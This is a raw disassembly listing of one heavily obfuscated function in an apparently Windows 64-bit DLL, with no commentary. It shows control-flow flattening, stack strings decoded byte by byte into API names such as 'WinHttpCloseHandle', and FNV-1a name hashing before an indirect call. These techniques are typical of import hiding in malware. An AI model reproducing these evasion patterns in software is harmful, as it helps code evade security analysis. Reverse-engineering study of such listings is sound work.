mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x731], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082af3
cmp eax, 0x63bd7ce3
jne 0x180082a80
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082ade
cmp eax, 0xbaf1977b
jne 0x180082aa0
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082aa0
mov eax, dword [rbp + 0x8d0]
add al, 0x6e
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x180082a80
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x732], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082b83
cmp eax, 0x63bd7ce3
jne 0x180082b10
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082b6e
cmp eax, 0xbaf1977b
jne 0x180082b30
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082b30
mov eax, dword [rbp + 0x8d0]
add al, 0x48
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x180082b10
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x733], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082c13
cmp eax, 0x63bd7ce3
jne 0x180082ba0
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082bfe
cmp eax, 0xbaf1977b
jne 0x180082bc0
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082bc0
mov eax, dword [rbp + 0x8d0]
add al, 0x74
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x180082ba0
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x734], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082ca3
cmp eax, 0x63bd7ce3
jne 0x180082c30
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082c8e
cmp eax, 0xbaf1977b
jne 0x180082c50
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082c50
mov eax, dword [rbp + 0x8d0]
add al, 0x74
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x180082c30
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x735], al
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp eax, 0xfecfd1f0
je 0x180082d33
cmp eax, 0x63bd7ce3
jne 0x180082cc0
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082d1e
cmp eax, 0xbaf1977b
jne 0x180082ce0
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082ce0
mov eax, dword [rbp + 0x8d0]
add al, 0x70
mov byte [rbp + 0x8b8], al
mov eax, 0xfecfd1f0
jmp 0x180082cc0
mov al, byte [rbp + 0x8b8]
mov byte [rbp + 0x736], al
lea rax, [rbp + 0x737]
mov qword [rbp + 0x8b8], rax
mov eax, 0x63bd7ce3
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xfecfd1f0
je 0x180082dd3
cmp eax, 0x63bd7ce3
jne 0x180082d60
mov dword [rbp + 0x8c8], socket
mov eax, 0xbaf1977b
nop dword [rax]
cmp eax, 0x3f9a458b
je 0x180082dbe
cmp eax, 0xbaf1977b
jne 0x180082d80
movsxd rax, dword [rbp + 0x8c8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x8d0], eax
mov eax, 0x3f9a458b
jmp 0x180082d80
mov eax, dword [rbp + 0x8d0]
add al, 0x43
mov byte [rbp + 0x898], al
mov eax, 0xfecfd1f0
jmp 0x180082d60
mov al, byte [rbp + 0x898]
mov rcx, qword [rbp + 0x8b8]
mov byte [rcx], al
mov ecx, 0x67fc6628
lea rax, [0x1800dfa7c]
nop
cmp ecx, 0x726cc3b2
je 0x18008320b
cmp ecx, 0x67fc6628
jne 0x180082df0
mov rcx, qword [rbp + 0x8b8]
mov edx, 0x63bd7ce3
cmp edx, 0xfecfd1f0
je 0x180082e86
cmp edx, 0x63bd7ce3
jne 0x180082e10
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x180082e70
cmp edx, 0xbaf1977b
jne 0x180082e30
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180082e30
mov edx, dword [rbp + 0x898]
add dl, 0x6c
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180082e10
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 1], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x180082f16
cmp edx, 0x63bd7ce3
jne 0x180082ea0
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x180082f00
cmp edx, 0xbaf1977b
jne 0x180082ec0
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180082ec0
mov edx, dword [rbp + 0x898]
add dl, 0x6f
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180082ea0
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 2], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x180082fa6
cmp edx, 0x63bd7ce3
jne 0x180082f30
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x180082f90
cmp edx, 0xbaf1977b
jne 0x180082f50
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180082f50
mov edx, dword [rbp + 0x898]
add dl, 0x73
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180082f30
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 3], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x180083036
cmp edx, 0x63bd7ce3
jne 0x180082fc0
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x180083020
cmp edx, 0xbaf1977b
jne 0x180082fe0
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180082fe0
mov edx, dword [rbp + 0x898]
add dl, 0x65
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180082fc0
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 4], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x1800830c6
cmp edx, 0x63bd7ce3
jne 0x180083050
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x1800830b0
cmp edx, 0xbaf1977b
jne 0x180083070
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180083070
mov edx, dword [rbp + 0x898]
add dl, 0x48
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180083050
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 5], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x180083156
cmp edx, 0x63bd7ce3
jne 0x1800830e0
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x180083140
cmp edx, 0xbaf1977b
jne 0x180083100
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180083100
mov edx, dword [rbp + 0x898]
add dl, 0x61
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x1800830e0
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 6], dl
mov edx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp edx, 0xfecfd1f0
je 0x1800831e6
cmp edx, 0x63bd7ce3
jne 0x180083170
mov dword [rbp + 0x888], socket
mov edx, 0xbaf1977b
nop
cmp edx, 0x3f9a458b
je 0x1800831d0
cmp edx, 0xbaf1977b
jne 0x180083190
movsxd rdx, dword [rbp + 0x888]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
sar rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov dword [rbp + 0x898], edx
mov edx, 0x3f9a458b
jmp 0x180083190
mov edx, dword [rbp + 0x898]
add dl, 0x6e
mov byte [rbp + 0x8b0], dl
mov edx, 0xfecfd1f0
jmp 0x180083170
mov dl, byte [rbp + 0x8b0]
mov byte [rcx + 7], dl
add rcx, 8
mov qword [rbp + 0x8c8], rcx
mov qword [rbp + 0x8d0], rax
mov ecx, 0x726cc3b2
jmp 0x180082df0
mov rax, qword [rbp + 0x8d0]
mov al, byte [rax]
mov ecx, 0x63bd7ce3
nop dword [rax]
cmp ecx, 0xfecfd1f0
je 0x180083295
cmp ecx, 0x63bd7ce3
jne 0x180083220
mov dword [rbp + 0x888], socket
mov ecx, 0xbaf1977b
nop
cmp ecx, 0x3f9a458b
je 0x180083280
cmp ecx, 0xbaf1977b
jne 0x180083240
movsxd rcx, dword [rbp + 0x888]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x898], ecx
mov ecx, 0x3f9a458b
jmp 0x180083240
mov ecx, dword [rbp + 0x898]
add cl, al
mov byte [rbp + 0x8b0], cl
mov ecx, 0xfecfd1f0
jmp 0x180083220
mov al, byte [rbp + 0x8b0]
mov rcx, qword [rbp + 0x8c8]
mov byte [rcx], al
mov rax, qword [rbp + 0x8c8]
mov ecx, 0x63bd7ce3
cmp ecx, 0xfecfd1f0
je 0x180083326
cmp ecx, 0x63bd7ce3
jne 0x1800832b0
mov dword [rbp + 0x888], socket
mov ecx, 0xbaf1977b
nop
cmp ecx, 0x3f9a458b
je 0x180083310
cmp ecx, 0xbaf1977b
jne 0x1800832d0
movsxd rcx, dword [rbp + 0x888]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x898], ecx
mov ecx, 0x3f9a458b
jmp 0x1800832d0
mov ecx, dword [rbp + 0x898]
add cl, 0x6c
mov byte [rbp + 0x8b0], cl
mov ecx, 0xfecfd1f0
jmp 0x1800832b0
mov cl, byte [rbp + 0x8b0]
mov byte [rax + 1], cl
mov ecx, 0x63bd7ce3
nop word cs:[rax + rax]
nop
cmp ecx, 0xfecfd1f0
je 0x1800833b6
cmp ecx, 0x63bd7ce3
jne 0x180083340
mov dword [rbp + 0x888], socket
mov ecx, 0xbaf1977b
nop
cmp ecx, 0x3f9a458b
je 0x1800833a0
cmp ecx, 0xbaf1977b
jne 0x180083360
movsxd rcx, dword [rbp + 0x888]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x898], ecx
mov ecx, 0x3f9a458b
jmp 0x180083360
mov ecx, dword [rbp + 0x898]
add cl, 0x65
mov byte [rbp + 0x8b0], cl
mov ecx, 0xfecfd1f0
jmp 0x180083340
mov cl, byte [rbp + 0x8b0]
mov byte [rax + 2], cl
mov byte [rax + 3], 0
mov edx, 0x599ec62d
mov r8d, 0xdd49d020
jmp 0x1800833f0
mov rax, qword [rbp + 0x8d0]
add rax, 1
mov qword [rbp + 0x8c8], rax
mov edx, 0xa45aed8a
nop word [rax + rax]
cmp edx, 0xfe8a178a
jle 0x180083420
cmp edx, 0x458ffb52
jle 0x180083450
cmp edx, 0x458ffb53
je 0x18008353a
cmp edx, 0x599ec62d
jne 0x180083596
mov edx, 0x458ffb53
jmp 0x1800833f0
cmp edx, 0xba8d8a30
jg 0x180083480
cmp edx, 0xa116c019
je 0x180083547
cmp edx, 0xa45aed8a
jne 0x1800833f0
mov edx, 0xba8d8a31
mov r9, qword [rbp + 0x8c8]
jmp 0x1800833f0
cmp edx, 0xfe8a178b
je 0x1800833d0
cmp edx, 0x3d18b085
jne 0x1800833f0
mov qword [rbp + 0x898], r13
mov edx, 0xa116c019
jmp 0x1800833f0
cmp edx, 0xba8d8a31
je 0x18008355f
cmp edx, 0xdd49d020
jne 0x1800833f0
mov rdx, qword [rbp + 0x8d0]
mov cl, byte [rbp + rdx + 0x730]
mov edi, 0x24e1d0b9
nop dword [rax + rax]
cmp edi, 0xee6c1db5
je 0x18008357f
cmp edi, 0x24e1d0b9
jne 0x1800834b0
mov dword [rbp + 0x8b0], socket
mov edi, 0xbaf1977b
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x3f9a458b
je 0x180083520
cmp edi, 0xbaf1977b
jne 0x1800834e0
movsxd rdi, dword [rbp + 0x8b0]
imul rsi, rdi, 0x4ec4ec4f
mov rax, rsi
shr rax, 0x3f
sar rsi, 0x22
add esi, eax
lea eax, [rsi + rsi*2]
lea eax, [rsi + rax*4]
sub edi, eax
mov dword [rbp + 0x888], edi
mov edi, 0x3f9a458b
jmp 0x1800834e0
mov eax, dword [rbp + 0x888]
mov ebx, ecx
sub bl, al
mov byte [rbp + 0x8a8], bl
mov edi, 0xee6c1db5
jmp 0x1800834b0
mov edx, 0xba8d8a31
xor r9d, r9d
jmp 0x1800833f0
mov rdx, qword [rbp + 0x898]
mov qword [rbp + 0x8b8], rdx
mov edx, 0x6ad0279f
jmp 0x1800833f0
mov qword [rbp + 0x8d0], r9
mov rdx, qword [rbp + 0x8d0]
cmp rdx, 0x12
mov edx, 0x3d18b085
cmovb edx, r8d
jmp 0x1800833f0
mov al, byte [rbp + 0x8a8]
mov byte [rbp + rdx + 0x730], al
mov edx, 0xfe8a178b
jmp 0x1800833f0
cmp edx, 0x6ad0279f
jne 0x1800833f0
mov r12, qword [rbp + 0x8b8]
mov edx, 0x676f3d91
movabs r10, 0xcbf29ce484222325
mov r8d, 0xd12f0328
mov r9d, 0xd1da1d7e
mov r11d, 0x454da8a0
mov r14d, 0x7090fb3e
mov r15d, 0x9a007ce3
jmp 0x180083600
movsxd rbx, edi
xor rbx, qword [rbp + 0x8d0]
movabs rax, 0x100000001b3
imul rbx, rax
mov esi, dword [rbp + 0x8b8]
add esi, 1
mov edx, 0xac5b234
nop
cmp edx, 0xf65328f1
jg 0x180083660
cmp edx, 0xc212bd2a
jle 0x1800836b0
cmp edx, 0xd94e5920
jg 0x18008372a
cmp edx, 0xc212bd2b
je 0x180083807
cmp edx, 0xd12f0328
je 0x180083811
cmp edx, 0xd1da1d7e
jne 0x180083600
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x7f
setl byte [rbp + 0x897]
mov edx, 0x1ee519d6
jmp 0x180083600
cmp edx, 0x32830d68
jg 0x1800836f0
cmp edx, 0x1ee519d5
jle 0x180083763
cmp edx, 0x1ee519d6
je 0x18008382a
cmp edx, 0x23144f16
je 0x18008383f
cmp edx, 0x266919b2
jne 0x180083600
mov edx, 0xde45267d
jmp 0x180083600
cmp edx, 0xa971a22b
jle 0x1800837a4
cmp edx, 0xa971a22c
je 0x18008384f
cmp edx, 0xaa53857a
je 0x18008385b
cmp edx, 0xae198c88
jne 0x180083600
mov edx, 0xac5b234
xor esi, esi
mov rbx, r10
jmp 0x180083600
cmp edx, 0x5eec1115
jle 0x1800837d8
cmp edx, 0x5eec1116
je 0x180083865
cmp edx, 0x7090fb3e
je 0x180083889
cmp edx, 0x676f3d91
jne 0x180083600
mov edx, 0xa971a22c
jmp 0x180083600
cmp edx, 0xd94e5921
je 0x1800835d8
cmp edx, 0xde45267d
je 0x1800838a2
cmp edx, 0xe4465726
jne 0x180083600
cmp byte [rbp + 0x890], 0
mov edx, 0x32830d69
cmovne edx, r8d
jmp 0x180083600
cmp edx, 0xf65328f2
je 0x1800838b2
cmp edx, 0xac5b234
jne 0x18008390a
mov dword [rbp + 0x8b8], esi
mov qword [rbp + 0x8d0], rbx
mov edx, dword [rbp + 0x898]
mov eax, dword [rbp + 0x8b8]
cmp eax, edx
mov edx, 0x6d3d8b8
cmovb edx, r11d
jmp 0x180083600
cmp edx, 0x9a007ce3
je 0x1800838e0
cmp edx, 0x9a8ae9d1
jne 0x180083600
mov rax, qword [rbp + 0x8c8]
movzx eax, byte [r12 + rax]
mov byte [rbp + 0x8c7], al
mov edx, 0x5eec1116
jmp 0x180083600
cmp edx, 0x32830d69
je 0x1800838fa
cmp edx, 0x454da8a0
jne 0x180083600
mov eax, dword [rbp + 0x8b8]
mov qword [rbp + 0x8c8], rax
mov edx, 0x9a8ae9d1
jmp 0x180083600
mov edx, 0xae198c88
jmp 0x180083600
mov eax, dword [rbp + 0x8b0]
or eax, 0x20
mov dword [rbp + 0x888], eax
mov edx, 0x23144f16
jmp 0x180083600
cmp byte [rbp + 0x897], 0
mov edx, 0xaa53857a
cmovne edx, r14d
jmp 0x180083600
mov edx, 0xd94e5921
mov edi, dword [rbp + 0x888]
jmp 0x180083600
mov edx, 0xf65328f2
xor ecx, ecx
jmp 0x180083600
mov edx, 0xc212bd2b
jmp 0x180083600
movsx eax, byte [rbp + 0x8c7]
mov dword [rbp + 0x8b0], eax
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x40
mov edx, 0x32830d69
cmovg edx, r15d
jmp 0x180083600
mov edx, dword [rbp + 0x898]
add edx, 1
mov dword [rbp + 0x8a8], edx
mov edx, 0x266919b2
jmp 0x180083600
mov edx, 0xf65328f2
mov ecx, dword [rbp + 0x8a8]
jmp 0x180083600
mov dword [rbp + 0x898], ecx
mov edx, dword [rbp + 0x898]
movsx edx, byte [r12 + rdx]
mov dword [rbp + 0x8a4], edx
mov edx, dword [rbp + 0x8a4]
cmp edx, 0x1f
mov edx, 0xaa53857a
cmovg edx, r9d
jmp 0x180083600
mov eax, dword [rbp + 0x8b0]
cmp eax, 0x5b
setl byte [rbp + 0x890]
mov edx, 0xe4465726
jmp 0x180083600
mov edx, 0xd94e5921
mov edi, dword [rbp + 0x8b0]
jmp 0x180083600
cmp edx, 0x6d3d8b8
jne 0x180083600
mov rcx, qword [rbp + 0x8d0]
call fcn.1800ae820
mov rcx, qword [rbp + 0x870]
call rax
mov edi, dword [rbp + 0x880]
mov eax, 0x7aa7fc70
lea rsi, [rbp + 0x848]
nop dword [rax]
cmp eax, 0x740ea721
je 0x18008395d
cmp eax, 0x7aa7fc70
jne 0x180083940
mov rcx, rsi
call fcn.180093790
mov eax, 0x740ea721
jmp 0x180083940
mov qword [rbp + 0x8d0], rsi
mov eax, 0x50612a08
nop dword [rax]
cmp eax, 0xd1267701
je 0x1800839c3
cmp eax, 0x50612a08
jne 0x180083970
mov rax, qword [rbp + 0x8d0]
mov qword [rbp + 0x730], rax
mov eax, 0x6636fdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x5f6be244
je 0x1800839bc
cmp eax, 0x6636fdb
jne 0x1800839a0
mov rax, qword [rbp + 0x730]
mov eax, 0x5f6be244
jmp 0x1800839a0
mov eax, 0xd1267701
jmp 0x180083970
mov eax, 0x7aa7fc70
lea rsi, [rbp + 0x6f8]
nop
cmp eax, 0x740ea721
je 0x1800839ed
cmp eax, 0x7aa7fc70
jne 0x1800839d0
mov rcx, rsi
call fcn.180093790
mov eax, 0x740ea721
jmp 0x1800839d0
mov qword [rbp + 0x848], rsi
mov eax, 0x50612a08
nop dword [rax]
cmp eax, 0xd1267701
je 0x180083a53
cmp eax, 0x50612a08
jne 0x180083a00
mov rax, qword [rbp + 0x848]
mov qword [rbp + 0x730], rax
mov eax, 0x6636fdb
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x5f6be244
je 0x180083a4c
cmp eax, 0x6636fdb
jne 0x180083a30
mov rax, qword [rbp + 0x730]
mov eax, 0x5f6be244
jmp 0x180083a30
mov eax, 0xd1267701
jmp 0x180083a00
mov eax, edi
add rsp, 0x968
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret